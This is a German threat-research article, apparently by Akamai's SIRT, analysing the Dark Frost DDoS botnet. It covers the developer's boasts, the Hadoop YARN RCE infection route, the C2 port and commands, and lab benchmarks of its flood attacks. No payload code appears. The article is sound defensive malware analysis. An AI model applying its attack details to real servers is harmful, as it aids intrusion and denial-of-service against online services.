Das Rätsel um Dark Frost: Entwicklerprofil eines überraschend stark verbreiteten Botnets

Die faszinierende Geschichte des Dark Frost Botnets stellt uns einen verblüffenden Cyberkriminellen vor, dessen Erfolgsrate nicht zu seiner Originalität passt. Das zusammengeschusterte Botnet wurde mit gestohlenem Code verschiedener beliebter Malware-Familien erstellt (Mirai, Gafgyt und Qbot). So kann dieser Angreifer relativ erfolgreiche Attacken auf die Gamingbranche durchführen. 

Und während alledem prahlte der Cyberkriminelle in sozialen Medien mit seinen Exploits, bei denen das Botnet zum Einsatz kam, um sich in triviale Onlinestreits einzumischen. Hierbei hinterließ er sogar digitale Signaturen in seinen Binärdateien (Abbildung 1). 

Dieses Bedrohungsprofil ist weiter verbreitet, als Sie vielleicht denken. Mit genug Entschlossenheit und nur rudimentärem Programmierwissen kann fast jeder zu einer echten Bedrohung werden. Das gilt insbesondere für jüngere Personen, die die möglichen Folgen dieser Handlungen möglicherweise nicht einschätzen können. Und viele von ihnen glauben, über dem Gesetz zu stehen, und ignorieren dementsprechend geltende rechtliche Parameter, was sie gefährlicher macht als erwartet.

Unsere erste Probe der Dark Frost-Binärdatei wurde am 28. Februar 2023 in einigen der HTTP-Honeypots des Security Intelligence Response Teams (SIRT) von Akamai gesammelt. Der Angreifer zielte auf Fehlkonfigurationen in Hadoop YARN-Servern (bisher keine CVE zugewiesen) ab, die Remotecodeausführung (Remote Code Execution, RCE) ermöglichen. Zwar sollte die Probe eigentlich den Namen „Darkness Botnet“ tragen, doch dieser Titel war 2010bereits einer DDoS-for-Hire-Kampagne zugewiesen worden. Unter Berücksichtigung des ursprünglichen Namens und anderer Verweise in der Binärdatei haben wir uns daher dafür entschieden, es „Dark Frost Botnet“ zu nennen.

Die Ausnutzung dieser YARN-Fehlkonfiguration erfreut sich in letzter Zeit wachsender Beliebtheit, da ihr bisher keine CVE zugewiesen wurde und Angreifer mit ihrer Hilfe Server dazu bringen können, die schädliche Binärdatei herunterzuladen und auszuführen. Es sei jedoch darauf hingewiesen, dass diese Schwachstelle bereits seit 2014 besteht – sie ist also bei Weitem keine neuartige Technik. Angesichts des Erfolgs, den Angreifer hiermit haben, wird sie jedoch wahrscheinlich trotz ihres Alters auch für künftige Botnets verwendet werden. 

Der Angreifer hat zu Beginn eine Sondierungsanfrage gesendet, ob die Anwendung für diese Art von Angriff anfällig ist (Abbildung 2).

Nachdem eine von uns bereitgestellte Instanz mit der bekannten Schwachstelle dem Angreifer eine Antwort gesendet hatte, hielt dieser das Ziel für geeignet und sendete die schädliche Payload (Abbildung 3).

Es wird außerdem eine weitere HTTP-Anfrage gesendet, doch wir wissen derzeit nicht, wofür sie verwendet werden könnte (Abbildung 4).

Als wir uns die Datei zum ersten Mal ansahen, trug die Binärdatei den Namen „roof“. Und obwohl die Suche in verschiedenen Drittanbietertools keine Reputationsdaten für den Hash ergab, ging unsere interne Automatisierung davon aus, dass der Hash Gafgyt ähnelte (Abbildung 5). Das könnte darauf zurückzuführen sein, dass die Angreifer-IPs in den Monaten vor der Verbreitung der Dark Frost-Binärdateien eine Gafgyt-spezifische Variante verbreiteten. Wahrscheinlicher ist jedoch, dass die Automatisierung Übereinstimmungen bei verschiedenen Strings festgestellt hat, die heutzutage in vielen Malware-Varianten vorkommen. 

Nachdem wir verschiedene IP-Adressen durchgegangen waren, um nach zusätzlichen Binärdateien zu suchen, fanden wir weitere namens „roof“, die allesamt demselben Entwickler vom Oktober 2022 zugeordnet werden konnten. So erhielten wir eine neue IP, mit der wir Belege für zusätzliche Versuche zur Payloadverteilung sammeln konnten (Abbildung 6; zensiert aufgrund rassistischer Äußerungen des Malware-Entwicklers).

Dieser spezielle Cyberkriminelle hat eine ganze Reihe von Angriffen für sich beansprucht, wobei hierfür nicht immer zuverlässige Beweise vorliegen. Manchmal hat er einfach in sozialen Medien gepostet und behauptet, der Urheber verschiedener Probleme zu sein – doch eine solche Aussage hat erst einmal wenig Gewicht. Gelegentlich wurden diese Behauptungen jedoch mit Screenshots untermauert, die die Ergebnisse seiner Angriffe dokumentieren. 

Ein Beispiel hierfür ist der Tweet über einen Angriff auf die Plutonium-Server (Abbildung 7), eine Open-Source-Plattform für Spielehosting mit eigenen Servern und Mod-Unterstützung.

Doch Tweets wie diese sind nur der Anfang. Der Cyberkriminelle geht sogar so weit, vollständige Videos der Angriffe zu veröffentlichen, wie bei dieser Attacke auf einen AmongUs-Server (Abbildung 8).

Wie Sie in den Screenshots sehen können, ist dieser Angreifer schon eine Weile aktiv. Wir können ihn bis Mai 2022 zurückverfolgen, als er Rogue Company-Server angriff (Abbildung 9).

Wir fanden sogar heraus, dass der Akteur einige seiner Opfer verhöhnt und Informationen über seine Käufer preisgibt (Abbildung 12).

Einige der schwierigsten Fragen bei der Analyse von Malware lauten: Wer ist dafür verantwortlich? Wer sind die Ziele? Und wie groß ist das Botnet? Dieser Cyberkriminelle hat netterweise die ersten beiden Fragen für uns beantwortet. Also haben wir nachgesehen, ob er auch die dritte Frage beantworten würde – was er auch tatsächlich getan hat.

Laut einem Screenshot des Malware-Entwicklers vom Februar 2023 (Abbildung 13) befinden sich 414 Geräte im Botnet, wobei die Mehrheit ARMv4-Architekturen aufweisen, gefolgt von MIPSEL und x86. Das Vorhandensein von ARMv4 ist besonders interessant, da diese Architektur ziemlich veraltet ist. Diese Methode der Kompilierung speziell für ARMv4 und ARMv7 ist üblich, da ARMv4 mit ARMv5 und ARMv6 kompatibel ist. Durch die Kompilierung für ARMv4 und ARMv7 wird gewährleistet, dass Malware auch modernere Geräte mit ARMv7-Architektur angreifen kann. 

Durch diesen dualen Ansatz kann die Malware ein breiteres Netz auswerfen und so die Wahrscheinlichkeit einer erfolgreichen Geräteinfektion erhöhen.

Ohne unser automatisiertes System zur Binärdateierfassung (Abbildung 14) wäre es schwierig gewesen, die Binärdatei in die Hände zu bekommen, da zum Zeitpunkt der Untersuchung das Verteilungs-IP ausgefallen war. 

Nachdem wir die Probe vorliegen hatten, fanden wir heraus, dass wir es mit einer x86-64-Version zu tun hatten (Abbildung 15). Diese Information war jedoch entfernt worden, was beim Reverse Engineering zu geringfügigen Schwierigkeiten führte.

Doch es gab viele andere Indikatoren wie Fehlerbehandlung und Nutzungsmeldungen, mit denen wir uns innerhalb des Codes orientieren konnten (Abbildung 16).

Insgesamt gab es acht Angriffe, von denen einige sehr üblich waren, wie UDP und TCP. Andere waren jedoch etwas spezieller, wie z. B. zgoflood (Abbildung 17).

Durch Reverse Engineering der Probe konnten wir einige der entfernten Funktionen umbenennen, und zwar anhand des Zwecks, den sie unserer Meinung nach erfüllten (Abbildung 18).

Anschließend haben wir die Binärdatei so gepatcht (Abbildung 19), dass unsere IP als C2-Server (Command and Control) verwendet wurde. Wie Sie sehen, unterscheidet sich der Name der Stringvariablen jetzt vom tatsächlichen Wert. Interessant ist, dass der C2 vor dieser Änderung auch die IP zur Malware-Verbreitung darstellte.

Indem wir den angegebenen C2-Port (TCP/420) mit einem anderen Terminal abhörten, konnten wir die C2-Verbindungsprüfungen bestehen. Doch das Programm schien mit einem Fehler beendet zu werden (Abbildung 21).

Die Malware versucht, den Betriebssystemtyp und die Architektur der Malware-Probe zu melden, die das Gerät infiziert hat (Abbildung 22). In diesem Fall verwenden wir Arch Linux, um eine x86-Probe zu detonieren und zu untersuchen.

Nach erfolgreichem Durchlaufen der Verbindungs- und Registrierungsschritte wurde das Programm trotz unserer Bemühungen weiterhin beendet. Einige hilfreiche Fehlermeldungen wiesen darauf hin, dass in unserem Malware-Labor kein Watchdog-Treiber installiert war. Wir haben mehrmals versucht, diese Prüfung zu umgehen oder zu bestehen, bis wir festgestellt haben, dass der Prozess zwar scheinbar die Ausführung in der Befehlszeile gestoppt hatte, doch im Hintergrund ein untergeordneter Prozess gestartet worden war, der auf Befehle wartete. 

Um das zu testen, haben wir mithilfe von Internet-Relay-Chats für C2-Kommunikation den Heartbeat für eine typische BASHLITE-Variante gesendet (Abbildung 23).

Die Angriffe socketflood und junkflood schienen ebenfalls sehr ähnlich: Sie beide sendeten eine kleine Menge an hexadezimal codiertem Inhalt über TCP (Abbildung 25). Hierbei ist auch zu beachten, dass socketflood als HOLD-Flood ausgegeben wird. 

Beim Testen des C2-Befehls, der als @c2 aufgeführt war, trat ein Verwendungsfehler auf. Wir kamen zu dem Schluss, dass der Angreifer wahrscheinlich !c2 meinte, also probierten wir es aus (Abbildung 26) und ein einzelnes Paket wurde gesendet.

Die Angriffe onepacket, std, randfloodund zgoflood wurden ebenfalls erfolgreich gestartet, aber haben keine Daten gesendet (Abbildung 27). Das kann bedeuten, dass sich diese Funktionen noch in der Entwicklung befinden oder einfach nur defekt sind.

Wir begannen, die Angriffe zu vergleichen, und stellten fest, dass die UDP-Flood die zuverlässigste war und die größte Leistung hatte. Wir verwendeten verschiedene Paketgrößen, angefangen bei 1.024, um zu sehen, wie sich die Größe auf die Gesamtmenge der gesendeten Daten auswirkte.

Wie in Abbildung 28 zu sehen ist, haben wir diese Konfiguration zehn Sekunden lang an einem spezifischen Port ausgeführt. Anschließend haben wir diese Daten in tcpdump erfasst, um die Ergebnisse zu analysieren (Abbildung 29).

Die Ergebnisse bei einer Paketgröße von 1.024 für zehn Sekunden waren 1,4 Millionen erfasste Pakete, was einem Datenvolumen von insgesamt 1,5 GB entspricht. Damit kommen wir auf 1,2 Gbit/s. Bei diesem Experiment wurden die folgenden Ergebnisse für verschiedene Paketgrößen erzielt (Tabelle 1).

Wenn wir den Test auf diese Weise durchführen würden, kämen wir sehr wahrscheinlich zu dem Ergebnis, dass der Angreifer Pakete von ungefähr 1.024 verwendet. Bei Verdoppelung sinkt die Paketausgabe aufgrund der Paketfragmentierung, d. h., wir beobachten nur die Pakete, die durch den angegebenen Port eingehen, und nicht deren Fragmente. Um den Benchmark korrekt fortzusetzen, mussten wir diese Angriffe im Loopback starten, um eine Fragmentierung zu vermeiden, und die Loopback-Schnittstelle überwachen, um die Messung zu wiederholen (Tabelle 2). 

Zwar ist das Dark Frost Botnet stark genug, um viele Onlineservices in die Knie zu zwingen, doch die von Akamai geschützten Services sind hiervor ziemlich sicher. Das SIRT wird solche Bedrohungen weiterhin überwachen und die Community über die hierbei gewonnenen Ergebnisse informieren. Für weitere Echtzeitanalysen von Akamai folgen Sie uns auf Twitter.